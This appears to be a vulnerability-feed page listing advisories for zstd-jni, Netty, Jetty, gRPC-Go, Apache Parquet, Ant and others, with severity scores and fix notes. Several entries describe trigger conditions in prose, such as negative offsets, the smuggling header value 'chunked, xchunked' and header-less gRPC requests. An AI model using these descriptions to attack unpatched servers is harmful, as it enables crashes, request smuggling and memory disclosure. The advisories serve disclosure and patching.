1. In CoreXMLDeserializers.Std.deserialize, enforce a maximum raw-string length before calling newDuration(value) / newXMLGregorianCalendar(value) — e.g. reject inputs longer than ctxt.streamReadConstraints().getMaxNumberLength() (or a dedicated bound), routing over-length input through ctxt.handleWeirdStringValue(...). 2. Alternatively, validate the lexical form against a bounded regex and cap the digit count of each numeric component before delegating to DatatypeFactory. 3. Document that Duration / XMLGregorianCalendar fields bound from untrusted input must be length-limited at the transport layer.

1 / 2
Source: GitHub
First published (updated )
Severity
8.8
EPSS
0.57%
AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:H

zstd-jni versions 1.5.5-6 through 1.5.7-13 contain an out-of-bounds read vulnerability in Zstd.getFrameContentSize that fails to validate negative srcPosition arguments. Attackers can supply negative offset values that bypass bounds checks and reach the native frame-header parser, causing out-of-bounds memory reads that lead to information disclosure or JVM crashes.

First published (updated )
Severity
6.9
EPSS
0.25%
AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N

Netty versions 4.1.133.Final through 4.1.137.Final and 4.2.13.Final through 4.2.17.Final fail to properly validate the final transfer coding in the Transfer-Encoding header, allowing attackers to smuggle requests by using malformed encoding declarations. Attackers can split Transfer-Encoding headers across multiple lines or use values like 'chunked, xchunked' to bypass validation and decode messages as chunked when the final coding is not chunked, enabling request smuggling attacks.

First published (updated )
Severity
5.1
EPSS
0.12%
AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L

zstd-jni versions 1.4.8-4 through 1.5.7-13 fail to validate negative length parameters in ZstdInputStreamNoFinalizer.read(), allowing attackers to trigger infinite loops. Attackers can pass negative length values to cause the read method to spin indefinitely while holding the stream monitor, blocking all other threads from accessing the stream.

First published (updated )
Severity
6.9
AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

A user could provide an expression whose string length is longer than the ParserExpressionSizeLimit() configured on the CEL environment, and a memory allocation would occur proportional to the size of the input before the limit would be checked / enforced.

First published (updated )
Severity
7
Use After Free
AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H

zstd-jni versions before 1.5.7-14 fail to validate closed state in setDict, setLongMax, setLevel and setRefMultipleDDicts methods of stream classes. Attackers can call these methods on closed streams to write through freed native pointers, corrupting unrelated objects or crashing the JVM.

First published (updated )
Severity
8.7
AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

zstd-jni before 1.5.7-14 fails to validate the samples buffer capacity in Zstd.trainFromBufferDirect, allowing attackers to read past buffer boundaries by supplying oversized per-sample lengths. Attackers can trigger out-of-bounds memory access by providing crafted sample length arrays that cause the native implementation to walk past the buffer allocation, resulting in JVM termination.

First published (updated )
Severity
7
Use After Free
AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H

zstd-jni before 1.5.7-14 contains a use-after-free vulnerability where streams and contexts hold a dictionary's shared lock only during the load call, allowing the dictionary to be closed while still referenced. Attackers can close a dictionary after associating it with a stream or context, causing subsequent read or write operations to access freed native memory, resulting in silent data corruption or JVM crashes.

First published (updated )
Severity
8.8
Integer Overflow
AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:H

zstd-jni before 1.5.7-14 performs 32-bit signed bounds checks on three direct-ByteBuffer frame-size native methods, allowing out-of-bounds memory reads via negative or overflowing offsets. Attackers can supply negative offset values near Integer.MINVALUE to read unmapped memory, causing JVM termination or extracting arbitrary frame size data from unintended memory locations.

First published (updated )
Severity
8.8
AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:H

zstd-jni versions before 1.5.7-14 fail to validate offset and length parameters in the ZstdDictCompress constructor, allowing out-of-bounds memory reads. Attackers can supply untrusted offset or length values to read native heap memory into the compression dictionary, typically causing JVM crashes.

First published (updated )
Severity
8.7
Out-of-bounds Read
AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

A vulnerability exists in gRPC-Go servers configured with xds.NewGRPCServer() where a crafted request missing both :authority and Host headers can cause a server panic, resulting in a Denial of Service (DoS).

Servers built with xds.NewGRPCServer install an xDS routing interceptor on every RPC. This interceptor looks up the request’s :authority header to pick a virtual host. The HTTP/2 server transport previously accepted requests that had neither :authority nor Host. When this happened, the xDS routing interceptor attempted to access the first element of an empty slice of authorities, leading to an index out of bounds panic. Since the per-RPC goroutine does not recover from panics, the entire server process would terminate.

This panic occurs in the interceptor pipeline, meaning the transport credentials handshake (TLS, mTLS, or ALTS) and HTTP/2 connection establishment must complete successfully before the crafted request can reach this logic. - Insecure/Standard TLS: If the server permits insecure (plaintext) connections or standard credentials (where client certs are not checked), any unauthenticated remote attacker can trigger the crash. - mTLS / ALTS: If strict transport-level authentication is enforced at the network edge or transport layer (e.g., requiring a valid client certificate), the attacker must possess valid transport credentials to initiate the stream and trigger the panic.

Impact An attacker can cause a complete outage of the gRPC server by sending a request missing both :authority and Host headers, provided they can successfully establish a transport connection.

Patches The issue has been addressed in master (and backported to 1.83.2 and 1.82.2). The fix updates the HTTP/2 transport layer to reject requests missing both :authority and Host headers early, maintaining consistency with and other gRPC language implementations.

1 / 3
Source: GitHub
First published (updated )
Severity
8.1
Input Validation
AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N

Potential problem for users of the org.apache.parquet.crypto.keytools package in Apache Parquet, versions 1.12 to 1.18. This package enables users to encrypt Parquet files via an envelope encryption mechanism that wraps (encrypts) data keys via a Key Management Service (KMS).  On the reader side, the KMS URL can be application-controlled or file-controlled. If the user does not leverage application control for this parameter, a file-controlled KMS URL is forwarded to a pluggable KmsClient implementation. If the pluggable implementation does not perform host validation, a KMS token can be sent to a malicious host set by an attacker in the file.

Before the problem is fixed, users are recommended to leverage application control for KMS URL parameter in readers (versions 1.12-1.18). After the problem is fixed (presumably in version 1.19), the upgrade will disable file-controlled KMS URL by default. Users of the KMS URL parameter  will have two options then: leverage application control for KMS URL parameter in readers, or enable file-controlled KMS URL (via a new app parameter). The latter option will explicitly require (in the new parameter documentation) to validate the KMS URL and use authentication in the custom implementation of the KMS client plug in.

First published (updated )
Severity
8.3
AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

A client may issue specially crafted HTTP/1.1 chunked requests to a Jetty server that cause Jetty and an intermediary proxy to interpret different request boundaries, potentially resulting in HTTP request smuggling.

This is caused by Jetty accepting a lone LF character as a terminator in parts of chunked request parsing. Depending on the Jetty version and configured HTTP compliance mode, this may occur in chunk extensions, chunk data termination, or trailer termination.

1 / 2
Source: MITRE
First published (updated )
Severity
7.4
Path Traversal
AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N

Apache Ant: Path traversal in ftp and scp tasks allows arbitrary file write

1 / 2
Source: Microsoft
First published (updated )
Severity
8.7
AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Impact An unauthenticated remote attacker can initiate a gRPC stream and purposefully fragment their payload into millions of tiny (e.g., 1-byte) HTTP/2 DATA frames. Even if the total payload volume falls within the configured connection and stream flow-control windows, each independent fragment incurs memory overhead due to internal tracking structures and queue allocation.

Repeated fragmentation massively inflates the heap space consumed by the stream. An attacker multiplexing multiple concurrent streams can exhaust the memory bounds of the runtime, forcing a runtime panic or OutOfMemory condition and leading to a remote Denial of Service (DoS).

Patches The change to fix this issue is merged in master and a patch release, 1.83.1, has been published that contains this fix.

Workarounds This vulnerability is mitigated by implementing receive buffer compaction. Consecutive small data buffers are automatically coalesced into larger buffers from a shared pool once the overhead is perceived to be excessive relative to actual payload data, drastically minimizing per-frame memory overheads.

This behavior is enabled by default. A temporary escape hatch is provided via the environment variable GRPCGOEXPERIMENTALENABLERECEIVEBUFFERCOMPACTION=false to disable the feature if unforeseen issues arise, but it will be removed in a future release.

1 / 3
Source: GitHub
First published (updated )
Severity
8.2
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N

IBM Cloud Pak for Data System (Yosemite 1.0) 3.0.5.2 could allow a remote attacker to obtain sensitive information due to the use of weak or deprecated cryptographic protocols.

1 / 2
Source: MITRE
First published (updated )

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203